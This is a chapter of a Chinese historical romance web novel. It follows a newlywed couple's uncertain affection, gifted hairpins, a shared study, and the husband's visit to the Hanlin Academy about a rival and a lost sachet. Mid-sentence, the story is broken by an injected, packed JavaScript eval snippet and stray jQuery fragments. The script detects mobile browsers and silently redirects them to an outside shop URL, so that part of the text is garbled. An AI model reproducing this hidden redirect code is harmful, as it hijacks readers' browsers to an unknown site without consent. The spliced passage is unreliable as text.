只闹了一回。

    许知鸢尚存着几分清明,谢洛衍却已经将她打横抱了起来,抬脚要往浴房的方向走。

    她挣扎了两下,从他怀里挣脱,抬眸,从上到下仔细打量着面前的男人。

    鼓鼓囊囊的,显然还能继续。

    谢洛衍察觉到她紧盯着它的目光,问:“怎么了?”

    在这种事上,许知鸢已经主动过一回,自是不会再主动第二次。

    她低下头,压下心头升腾而起的怪异之感,轻轻摇了摇头,“没什么。”

    “你先去洗吧,等会我让锦书进来。”

    谢洛衍并未发现她话语里的冷淡,只当是上回在浴房里闹得狠了,她便不想再同他一起。

    其实这样也好,他想。

    若是放任自己沉溺其中,很容易便会失控。

    女郎雪白肌肤上的青紫痕迹仍犹浮现于眼前,他不想再让她这样。

    尽管并未完全纾解,但尚且还能忍受。

    男人走下榻,肩背宽厚,肌肉轮廓分明,皮肤在月色下泛着一层银白的光泽。

    许知鸢目光幽幽地盯着他,看着谢洛衍套上里衣,修长的指尖系紧腰带,随后长步迈开,往门外走去。

    随后锦书走了进来,服侍她到浴房清洗。

    水汽氤氲,白雾缭绕。

    许知鸢双臂交叠在浴池边,撑着脑袋,阖上眼。

    脱离了那旖旎的氛围,下了榻后,那股异样很快便消散了。

    她甚至忍不住开始佩服谢洛衍这个人了。

    明明第一夜时,无论她怎么求饶,他都很难保留理智,一副禽、兽模样。

    可不过缓了几日,他便清醒过来。

    今日和她同房,与其说是随心之举,不如说更像是一种必要的流程。

    毕竟他们已经有了夫妻之实,更何况这还是她主动的。

    想到这里,许知鸢隐隐有些后悔了。

    甚至有一种被谢洛衍比了下去的错觉。

    在同沈弈川相处的那些年里,她很清楚,沈弈川是喜欢她的。

    所以她能游刃有余地掌控着他和她的关系,又在意识到这段关系不会再长久时,清醒地从中抽身离开。

    可是这两日,同谢洛衍越过最后一条防线后,她似乎无形中对他有了另一层不切实际的期待。

    每当那种期待落了空,谢洛衍的反应并不如她所预想的那样时,她便难免会觉得有些许失落。

    失落……

    她不该觉得失落。

    浴房里寂静得只剩下偶尔的水声。

    可偏室里却并不安稳。

    送完最后一盆冷水后,淮姜抱着木盆,躬身退了出去。

    关上门前,他悄悄抬眼,隔着屏风,依稀还能看见里面的男人解开衣衫,平静走进浴桶里。

    这还没到夏日,世子怎么就要换上冷水沐浴了?

    收到换水的命令时,他便觉得很是奇怪。

    但他从前听闻,每日若是能坚持用冷水沐浴,似乎更能强健体魄。

    或许是世子也听说了这个法子罢。

    -

    第二天一早。

    身旁传来了窸窸窣窣的穿衣声,但许知鸢并未再起身。

    她假寐地阖着眼,抱着锦被,本以为男人很快就会离开,额头上却倏然传来了一道柔软的触感。

    随后脚步声渐远,木门嘎吱一声打开又合上。

    藏在被褥下的手不自觉蜷了一下,女郎依旧没动,不知不觉又睡了过去。

    大概一个时辰后。

    锦书和其他几个婢女一起进来伺候她更衣。

    许知鸢如往常般同锦书闲话,坐在菱花镜前时,目光一扫,倏然发现妆奁里多了几样她没见过的东西。

    “这几支珠钗是?”

    “是世子爷特意去琳琅阁挑的,昨日便带回来了。”

    一个眼生的婢女笑盈盈道。

    昨日谢洛衍见许知鸢在书房正忙,于是先自行回屋将珠钗放进了妆奁里,当时这婢女正巧在屋内打扫,目睹了全程。

    许知鸢轻“哦”了一声,目光落在手上这支雕刻精细的钗上。

    从琳琅阁回来后,她便忘了这茬,没想到谢洛衍他还能记得。

    那婢女见她并未责怪自己插话,忍不住继续道:“世子妃,奴婢瞧着,世子真的很喜欢您呢,前不久他离开时,还特意嘱咐我们好好侍奉,千万不能惊扰到您。”

    “是吗?”

    许知鸢回过头向她看了过去。

    这婢女是前两日才调到院里的,年纪小,藏不住事,直到察觉到自家主子的目光,她方后知后觉,匆匆忙忙低下了头。

    “还请世子妃莫怪,是奴婢多嘴了。”

    妄议主子的私事,乃是大罪。

    许知鸢朝她摆了摆手,让其他婢女和她都一同下去。

    她松了口气,躬身退出门去,一时间,屋内只剩下锦书。

    锦书的手一向很巧,指尖在许知鸢的乌发间穿梭,替她挽成发髻。

    临了了,她看着妆奁里躺着的那几支珠钗,问:“姑娘,今日想戴哪支?”

    妆奁里最显眼的地方,摆着的全是谢洛衍新送来的珠钗。

    款式别致,一看就知挑选的人格外用心。

    许知鸢指尖划过那几支钗,并未回答,反而抬眸问道:“锦书,你觉得,谢洛衍对我,是喜欢吗?”

    锦书愣了一下,重重点了点头,“当然喜欢。”谁都会喜欢姑娘的。

    许知鸢见她如此认真又笃定,轻笑一声,回身握住她的手,轻轻捏了捏她的脸颊。

    在沈家时,就算是最饥寒难捱的日子里,都是锦书陪在她身边。

    若说世上还剩一个人会喜欢她、心疼她,那必然就是锦书了。

    也正因此,每当问到她这样的问题时,她总会给出肯定的答复。

    从前在沈家,刚攀上沈弈川时,锦书就曾如此笃信地告诉过她,表少爷喜欢她。

    如今,亦是如此。

    许知鸢的指尖越过那几支亮眼的珠钗,落在从前惯戴的那支上。

    “还是这支吧。”

    她将它交到锦书手中。

    与其纠结于这种虚无缥缈的喜欢,不如握紧她已经拥有的东西,更为实际。

    两人一同去到书房时,正有几个下人进进出出的,似是在搬些什么东西。

    淮姜抱着一沓厚厚的书卷,抬眸瞧见她们的身影,立刻微微屈膝禀告:“世子妃,这是最后一趟了,马上就好。”

    锦书指着窗棂边突然多出的一方桌案,问:“你们这是做什么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653815|203565||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?世子妃并未吩咐要动书房啊。”

    淮姜将怀里的书卷放在她指的案台上,发出重重的一声响动,随后他缓了口气,解释道:“世子临走时吩咐过,要小的们将前厅书房里的书册笔墨全都搬回来,说是以后要和世子妃用一间。”

    “这事,世子昨日应该是同世子妃商量过了罢?”

    锦书不吭声了,转头看向身侧的许知鸢。

    许知鸢轻轻点了点头。

    没想到谢洛衍的速度会这么快,竟然今日便要搬回来。

    -

    翰林院里。

    谢洛衍用长袖遮住口鼻,打了个喷嚏。

    身旁的一位编修好心凑上前,“谢大人,您这是怎么了?近日天寒,您可要小心身体啊。”

    谢洛衍朝他摆了摆手,道了句无事。

    他一向身体康健,就算昨日泡了许久的冷水,也未见有多难受。

    今日手头的公务又多了,但方才马车经过翰林院时,他鬼使神差地让马夫停下,不自觉便走了进来,说要找沈弈川一趟。

    翰林院的编修自然认得这位大名鼎鼎的永宁侯世子,听闻他是来寻人,立刻同他道:“沈大人今日休沐了。”

    “休沐?”谢洛衍很是意外。

    “对啊,”编修继续道,“世子有所不知,听闻昨日沈大人似乎丢了件很重要的东西,一整日都魂不守舍的,今日便告了假。”

    不远处的一位同僚坐在案前,头也不抬地冷笑了一声。

    “什么重要的东西?不过是一只香囊罢了。这些时日翰林院这么忙,他倒是有心情为了只丢失的香囊告假,莫不是那香囊,是昭阳公主送给他的定情信物罢?”

    “陈大人,你少说点罢!”编修朝他做了个噤声的动作,旋即回头,笑道,“世子莫怪,陈大人他一向就是这样心直口快。”

    谢洛衍扫了二人一眼,面色平静地摇了摇头,“无妨。”

    “那我先走了。”

    话毕,他转身走出门去,脑海中却反复回荡着他们刚才说的话。

    香囊?

    以他对沈弈川的了解,若是昭阳公主送来的东西,他何至于在意到告假的地步。

    那这香囊会是谁送的?

    答案显而易见。

    目光男人离开后,编修板着个脸,朝坐在案前的男人道:“你看你这个脾气,你是不知道那谢世子同沈大人的交情不浅吗?”

    “呵。”男人冷笑一声,“那你可曾看到他来时,衣襟下露出了那点红痕?”

    编修目光微愣,想起方才谢洛衍进门时,脖颈间确实有一道浅淡的痕迹。

    他成婚多年,自是清楚那是什么。

    “哎呀,谢世子成婚不到两月,和世子妃应当正是浓情蜜意时啊。陈兄何必在意这种小事?”

    男人闻言,冷哼一声。

    “今日他顶着这种东西招摇过市,明日还不知会做出什么?真是世风日下,和沈弈川简直是一丘之貉。”

    编修长叹了几口气,对这位古板守旧的同僚很没有办法。

    “陈兄啊,你看你年纪也不小了,还是该趁早成家立业罢。”免得无事便抨击他人,语气里的酸意听起来很浓啊。

    后半句话他自是没好意思说出口。

    男人长眸轻阖,满脸不在意。